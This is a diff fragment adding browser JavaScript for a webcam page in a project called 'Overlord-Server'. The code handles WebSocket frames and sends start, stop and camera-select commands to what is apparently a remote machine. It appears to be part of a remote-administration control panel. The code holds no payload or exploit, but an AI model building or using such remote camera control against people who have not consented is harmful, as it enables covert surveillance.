ws.onmessage = (event) => { + if (event.data instanceof ArrayBuffer) { + const bytes = new Uint8Array(event.data); + if (bytes.length >= 4 && bytes[0] === 0x46 && bytes[1] === 0x52 && bytes[2] === 0x4d) { + handleFrame(event.data); + return; + } + } + + const msg = decodeMsgpack(event.data); + handleControlMessage(msg); + }; + + ws.onclose = () => { + setStreamState("disconnected", "Disconnected"); + setTimeout(connect, 3000); + }; + + ws.onerror = () => { + setStreamState("error", "Connection error"); + }; + } + + startBtn.addEventListener("click", () => { + desiredStreaming = true; + applyFpsSettings(); + send("webcam_start"); + setStreamState("starting", "Starting"); + }); + + stopBtn.addEventListener("click", () => { + desiredStreaming = false; + send("webcam_stop"); + setStreamState("stopping", "Stopping"); + setTimeout(() => { + if (streamState === "stopping") { + setStreamState("idle", "Stopped"); + } + }, 300); + }); + + window.addEventListener("beforeunload", () => { + if (ws && ws.readyState === WebSocket.OPEN) { + send("webcam_stop"); + } + destroyVideoDecoder(); + }); + + refreshCameras.addEventListener("click", () => { + requestCameraList(); + }); + + cameraSelect.addEventListener("change", () => { + const index = Number(cameraSelect.value) || 0; + selectedDeviceIndex = index; + applyFpsInputLimits(); + send("webcam_select", { index }); + }); + + fpsInput.addEventListener("input", () => { + const maxFps = selectedDeviceMaxFps(); + const val = Number(fpsInput.value); + if (Number.isFinite(val) && val > maxFps) { + fpsInput.value = String(maxFps); + } + }); + + applyFps.addEventListener("click", () => { + applyFpsSettings(); + }); + + connect(); +})(); diff --git a/Overlord-Server/public/webcam.html b/Overlord-Server/public/webcam.html new file mode 100644 index 0000000..44fe559 --- /dev/null +++ b/Overlord-Server/public/webcam.html @@ -0,0 +1,105 @@ + + +
+ + +